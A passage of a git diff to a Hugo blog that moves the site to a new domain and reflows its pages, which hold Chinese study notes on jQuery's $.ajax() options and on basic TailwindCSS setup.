+xhr：用于重写或者增强XMLHttpRequest对象的函数"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/13/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="jQuery-ajax()方法笔记"><meta property="og:description" content="ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
+$(document).ready(function(){ $(&#34;button&#34;).click(function(){ $.ajax({ type: &#34;GET&#34;, url: &#34;https://httpbin.org/get&#34;, success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -49,8 +49,8 @@
 traditional：指定是否使用传统的方式来序列化数据
 username：指定响应http访问认证请求的用户名
 password：指定响应http访问认证请求的密码
-xhr：用于重写或者增强XMLHttpRequest对象的函数"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/13/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:24:37+00:00"><meta property="article:modified_time" content="2021-06-16T09:24:37+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="jQuery-ajax()方法笔记"><meta name=twitter:description content="ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
$(&#34;button&#34;).click(function(){
$.ajax({
type: &#34;GET&#34;,
url: &#34;https://httpbin.org/get&#34;,
success: function(getdata){
console.log(getdata)
}
})
})
});
参数
+xhr：用于重写或者增强XMLHttpRequest对象的函数"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/13/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:24:37+00:00"><meta property="article:modified_time" content="2021-06-16T09:24:37+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="jQuery-ajax()方法笔记"><meta name=twitter:description content="ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
+$(document).ready(function(){ $(&#34;button&#34;).click(function(){ $.ajax({ type: &#34;GET&#34;, url: &#34;https://httpbin.org/get&#34;, success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -74,19 +74,19 @@
 traditional：指定是否使用传统的方式来序列化数据
 username：指定响应http访问认证请求的用户名
 password：指定响应http访问认证请求的密码
-xhr：用于重写或者增强XMLHttpRequest对象的函数"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"jQuery-ajax()方法笔记","item":"https://xiaochenabc123.github.io/posts/13/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"jQuery-ajax()方法笔记","name":"jQuery-ajax()方法笔记","description":"ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：\n$(document).ready(function(){\r$(\u0026quot;button\u0026quot;).click(function(){\r$.ajax({\rtype: \u0026quot;GET\u0026quot;,\rurl: \u0026quot;https://httpbin.org/get\u0026quot;,\rsuccess: function(getdata){\rconsole.log(getdata)\r}\r})\r})\r});\r参数\nurl：指定发送请求的URL，默认是当前页面\ntype：指定请求方式（GET或者POST）\nsuccess：当请求成功时执行的函数\ndata：指定要发送到服务端的数据\ndataType：预期服务端响应过来的数据类型\nasync：指定请求是否异步（布尔值）\nbeforeSend：在发送请求之前执行的函数\ncache：指定客户端是否缓存被请求页面，默认是true（布尔值）\ncomplete：在请求完成时执行的函数（不管是否发送成功）\ncontentType：指定要发送到服务端时使用的内容类型\ncontext：指定所有ajax相关的回调函数规定this值\ndataFilter：指定用于处理ajax返回的原始响应数据的函数\nerror：指定请求失败时执行的函数\nglobal：指定请求是否触发全局ajax事件，默认为true\nifModified：指定是否在最后一次请求\njsonp：指定一个jsonp请求中重写回调函数的字符串\njsonpCallback：指定一个jsonp回调函数的名称\nprocessData：指定是否将请求发送的数据转换为查询字符串，默认为true\nscriptCharset：指定请求的字符集\ntimeout：指定请求超时时间（单位：毫秒）\ntraditional：指定是否使用传统的方式来序列化数据\nusername：指定响应http访问认证请求的用户名\npassword：指定响应http访问认证请求的密码\nxhr：用于重写或者增强XMLHttpRequest对象的函数","keywords":["JavaScript","jQuery"],"articleBody":"ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：\n$(document).ready(function(){\r$(\"button\").click(function(){\r$.ajax({\rtype: \"GET\",\rurl: \"https://httpbin.org/get\",\rsuccess: function(getdata){\rconsole.log(getdata)\r}\r})\r})\r});\r参数\nurl：指定发送请求的URL，默认是当前页面\ntype：指定请求方式（GET或者POST）\nsuccess：当请求成功时执行的函数\ndata：指定要发送到服务端的数据\ndataType：预期服务端响应过来的数据类型\nasync：指定请求是否异步（布尔值）\nbeforeSend：在发送请求之前执行的函数\ncache：指定客户端是否缓存被请求页面，默认是true（布尔值）\ncomplete：在请求完成时执行的函数（不管是否发送成功）\ncontentType：指定要发送到服务端时使用的内容类型\ncontext：指定所有ajax相关的回调函数规定this值\ndataFilter：指定用于处理ajax返回的原始响应数据的函数\nerror：指定请求失败时执行的函数\nglobal：指定请求是否触发全局ajax事件，默认为true\nifModified：指定是否在最后一次请求\njsonp：指定一个jsonp请求中重写回调函数的字符串\njsonpCallback：指定一个jsonp回调函数的名称\nprocessData：指定是否将请求发送的数据转换为查询字符串，默认为true\nscriptCharset：指定请求的字符集\ntimeout：指定请求超时时间（单位：毫秒）\ntraditional：指定是否使用传统的方式来序列化数据\nusername：指定响应http访问认证请求的用户名\npassword：指定响应http访问认证请求的密码\nxhr：用于重写或者增强XMLHttpRequest对象的函数\n","wordCount":"40","inLanguage":"en","datePublished":"2021-06-16T09:24:37Z","dateModified":"2021-06-16T09:24:37Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/13/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>jQuery-ajax()方法笔记</h1><div class=post-meta><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/jQuery-ajax%28%29%e6%96%b9%e6%b3%95%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：</p><pre><code>$(document).ready(function(){
-    $(&quot;button&quot;).click(function(){
-        $.ajax({
-            type: &quot;GET&quot;,
-            url: &quot;https://httpbin.org/get&quot;,
-            success: function(getdata){
-                console.log(getdata)
-            }
-        })
-    })
-});
-</code></pre><p>参数</p><p>url：指定发送请求的URL，默认是当前页面</p><p>type：指定请求方式（GET或者POST）</p><p>success：当请求成功时执行的函数</p><p>data：指定要发送到服务端的数据</p><p>dataType：预期服务端响应过来的数据类型</p><p>async：指定请求是否异步（布尔值）</p><p>beforeSend：在发送请求之前执行的函数</p><p>cache：指定客户端是否缓存被请求页面，默认是true（布尔值）</p><p>complete：在请求完成时执行的函数（不管是否发送成功）</p><p>contentType：指定要发送到服务端时使用的内容类型</p><p>context：指定所有ajax相关的回调函数规定this值</p><p>dataFilter：指定用于处理ajax返回的原始响应数据的函数</p><p>error：指定请求失败时执行的函数</p><p>global：指定请求是否触发全局ajax事件，默认为true</p><p>ifModified：指定是否在最后一次请求</p><p>jsonp：指定一个jsonp请求中重写回调函数的字符串</p><p>jsonpCallback：指定一个jsonp回调函数的名称</p><p>processData：指定是否将请求发送的数据转换为查询字符串，默认为true</p><p>scriptCharset：指定请求的字符集</p><p>timeout：指定请求超时时间（单位：毫秒）</p><p>traditional：指定是否使用传统的方式来序列化数据</p><p>username：指定响应http访问认证请求的用户名</p><p>password：指定响应http访问认证请求的密码</p><p>xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/javascript/>JavaScript</a></li><li><a href=https://xiaochenabc123.github.io/tags/jquery/>jQuery</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/14/><span class=title>« Prev</span><br><span>JavaScript-XMLHttpRequest对象笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/12/><span class=title>Next »</span><br><span>html5学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+xhr：用于重写或者增强XMLHttpRequest对象的函数"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"jQuery-ajax()方法笔记","item":"https://chenjunlinabc.github.io/posts/13/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"jQuery-ajax()方法笔记","name":"jQuery-ajax()方法笔记","description":"ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：\n$(document).ready(function(){ $(\u0026quot;button\u0026quot;).click(function(){ $.ajax({ type: \u0026quot;GET\u0026quot;, url: \u0026quot;https://httpbin.org/get\u0026quot;, success: function(getdata){ console.log(getdata) } }) }) }); 参数\nurl：指定发送请求的URL，默认是当前页面\ntype：指定请求方式（GET或者POST）\nsuccess：当请求成功时执行的函数\ndata：指定要发送到服务端的数据\ndataType：预期服务端响应过来的数据类型\nasync：指定请求是否异步（布尔值）\nbeforeSend：在发送请求之前执行的函数\ncache：指定客户端是否缓存被请求页面，默认是true（布尔值）\ncomplete：在请求完成时执行的函数（不管是否发送成功）\ncontentType：指定要发送到服务端时使用的内容类型\ncontext：指定所有ajax相关的回调函数规定this值\ndataFilter：指定用于处理ajax返回的原始响应数据的函数\nerror：指定请求失败时执行的函数\nglobal：指定请求是否触发全局ajax事件，默认为true\nifModified：指定是否在最后一次请求\njsonp：指定一个jsonp请求中重写回调函数的字符串\njsonpCallback：指定一个jsonp回调函数的名称\nprocessData：指定是否将请求发送的数据转换为查询字符串，默认为true\nscriptCharset：指定请求的字符集\ntimeout：指定请求超时时间（单位：毫秒）\ntraditional：指定是否使用传统的方式来序列化数据\nusername：指定响应http访问认证请求的用户名\npassword：指定响应http访问认证请求的密码\nxhr：用于重写或者增强XMLHttpRequest对象的函数","keywords":["JavaScript","jQuery"],"articleBody":"ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：\n$(document).ready(function(){ $(\"button\").click(function(){ $.ajax({ type: \"GET\", url: \"https://httpbin.org/get\", success: function(getdata){ console.log(getdata) } }) }) }); 参数\nurl：指定发送请求的URL，默认是当前页面\ntype：指定请求方式（GET或者POST）\nsuccess：当请求成功时执行的函数\ndata：指定要发送到服务端的数据\ndataType：预期服务端响应过来的数据类型\nasync：指定请求是否异步（布尔值）\nbeforeSend：在发送请求之前执行的函数\ncache：指定客户端是否缓存被请求页面，默认是true（布尔值）\ncomplete：在请求完成时执行的函数（不管是否发送成功）\ncontentType：指定要发送到服务端时使用的内容类型\ncontext：指定所有ajax相关的回调函数规定this值\ndataFilter：指定用于处理ajax返回的原始响应数据的函数\nerror：指定请求失败时执行的函数\nglobal：指定请求是否触发全局ajax事件，默认为true\nifModified：指定是否在最后一次请求\njsonp：指定一个jsonp请求中重写回调函数的字符串\njsonpCallback：指定一个jsonp回调函数的名称\nprocessData：指定是否将请求发送的数据转换为查询字符串，默认为true\nscriptCharset：指定请求的字符集\ntimeout：指定请求超时时间（单位：毫秒）\ntraditional：指定是否使用传统的方式来序列化数据\nusername：指定响应http访问认证请求的用户名\npassword：指定响应http访问认证请求的密码\nxhr：用于重写或者增强XMLHttpRequest对象的函数\n","wordCount":"40","inLanguage":"en","datePublished":"2021-06-16T09:24:37Z","dateModified":"2021-06-16T09:24:37Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/13/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>jQuery-ajax()方法笔记</h1><div class=post-meta><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/jQuery-ajax%28%29%e6%96%b9%e6%b3%95%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：</p><pre><code>$(document).ready(function(){
+    $(&quot;button&quot;).click(function(){
+        $.ajax({
+            type: &quot;GET&quot;,
+            url: &quot;https://httpbin.org/get&quot;,
+            success: function(getdata){
+                console.log(getdata)
+            }
+        })
+    })
+});
+</code></pre><p>参数</p><p>url：指定发送请求的URL，默认是当前页面</p><p>type：指定请求方式（GET或者POST）</p><p>success：当请求成功时执行的函数</p><p>data：指定要发送到服务端的数据</p><p>dataType：预期服务端响应过来的数据类型</p><p>async：指定请求是否异步（布尔值）</p><p>beforeSend：在发送请求之前执行的函数</p><p>cache：指定客户端是否缓存被请求页面，默认是true（布尔值）</p><p>complete：在请求完成时执行的函数（不管是否发送成功）</p><p>contentType：指定要发送到服务端时使用的内容类型</p><p>context：指定所有ajax相关的回调函数规定this值</p><p>dataFilter：指定用于处理ajax返回的原始响应数据的函数</p><p>error：指定请求失败时执行的函数</p><p>global：指定请求是否触发全局ajax事件，默认为true</p><p>ifModified：指定是否在最后一次请求</p><p>jsonp：指定一个jsonp请求中重写回调函数的字符串</p><p>jsonpCallback：指定一个jsonp回调函数的名称</p><p>processData：指定是否将请求发送的数据转换为查询字符串，默认为true</p><p>scriptCharset：指定请求的字符集</p><p>timeout：指定请求超时时间（单位：毫秒）</p><p>traditional：指定是否使用传统的方式来序列化数据</p><p>username：指定响应http访问认证请求的用户名</p><p>password：指定响应http访问认证请求的密码</p><p>xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/javascript/>JavaScript</a></li><li><a href=https://chenjunlinabc.github.io/tags/jquery/>jQuery</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/14/><span class=title>« Prev</span><br><span>JavaScript-XMLHttpRequest对象笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/12/><span class=title>Next »</span><br><span>html5学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/130/index.html b/posts/130/index.html
index 4ac37d4d..41f7c1c2 100644
--- a/posts/130/index.html
+++ b/posts/130/index.html
@@ -4,58 +4,58 @@
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
'./src/**/*.{html,js}'
],
如果没有配置content属性，会警告
+content: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
@tailwind components;
@tailwind utilities;
如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import &#34;tailwindcss/base&#34;;
@import &#34;tailwindcss/components&#34;;
@import &#34;tailwindcss/utilities&#34;;
也可以将css导入到js中
-import &#34;tailwindcss/tailwind.css&#34;
tailwind编译
-npx tailwindcss -i ./src/index.css -o ./dist/main.css"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/130/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用TailwindCSS"><meta property="og:description" content="TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import &#34;tailwindcss/base&#34;; @import &#34;tailwindcss/components&#34;; @import &#34;tailwindcss/utilities&#34;; 也可以将css导入到js中
+import &#34;tailwindcss/tailwind.css&#34; tailwind编译
+npx tailwindcss -i ./src/index.css -o ./dist/main.css"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/130/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
